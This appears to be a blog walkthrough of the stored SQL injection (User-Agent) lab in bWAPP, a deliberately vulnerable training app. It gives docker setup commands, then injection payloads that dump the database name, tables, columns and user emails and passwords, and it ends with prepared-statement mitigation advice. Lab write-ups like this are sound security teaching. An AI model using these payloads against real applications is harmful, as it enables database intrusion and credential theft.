In this walk through, we will be going through the SQL Injection Stored (User-Agent) vulnerability section from bWAPP Labs. We will be exploring and exploiting Stored SQL Injection in User-Agent header and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.
Table of Contents
Security: Low
- Setting the security level to Low.
- The application here shows the User-Agent and IP address of the logged in users and saves it into database. It can be visible using the log file at /logs/visitors.txt. Further, it uses GET request to sqli_17.php to get the data from the DB.
- In case the log file is not visible. Use the below commands to generate one.
wh1terose@fsociety:~$ sudo docker ps [sudo] password for wh1terose: CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 60fe1419bbfe raesene/bwapp "/run.sh" 37 minutes ago Up 37 minutes 0.0.0.0:80->80/tcp, :::80->80/tcp, 3306/tcp dreamy_mirzakhani sudo docker exec -it 60fe1419bbfe bash root@60fe1419bbfe:/# cd /var/www/html root@60fe1419bbfe:/var/www/html# mkdir logs root@60fe1419bbfe:/var/www/html# cd logs/ root@60fe1419bbfe:/var/www/html/logs# touch visitors.txt root@60fe1419bbfe:/var/www/html/logs# chown -R www-data:www-data visitors.txt root@60fe1419bbfe:/var/www/html/logs# ls -l total 0 -rw-r--r-- 1 www-data www-data 0 Oct 11 08:10 visitors.txt root@60fe1419bbfe:/var/www/html/logs#
- Let’s check if the application is vulnerable to SQL injection attack by changing the user agent to the below payload.
asd'
- I got hit with an error. That’s great that means the application is vulnerable.
- Let’s dump the database name with the below payload.
asd', (select database() ))-- -
- We will concat our results into a single column and get the table names inside bWAPP database.
asd', (select group_concat(table_name)from information_schema.tables where table_schema=database()))-- -
- Next, we will dump the column names from the users table.
1', (select group_concat(column_name)from information_schema.columns where table_name='users'))-- -
- Let’s dump the email and password from the users table.
1', (select group_concat(email,password) from users))-- -
Also Read: bWAPP – SQL Injection Blind (Boolean-based)
Conclusion:
So, we finally completed all the security levels for the bWAPP SQL Injection Stored (User-Agent) Vulnerability. We looked into the various ways how application has been set up in various levels and how we can bypass the security controls implemented. Next, we can mitigate the potential SQL Injection attacks by performing input sanitization and using prepared statements or parametrized queries for every SQL query made by the application to the database. On that note, i will take your leave and will meet you in next one with another bWAPP vulnerability writeup, till then “Keep Hacking”.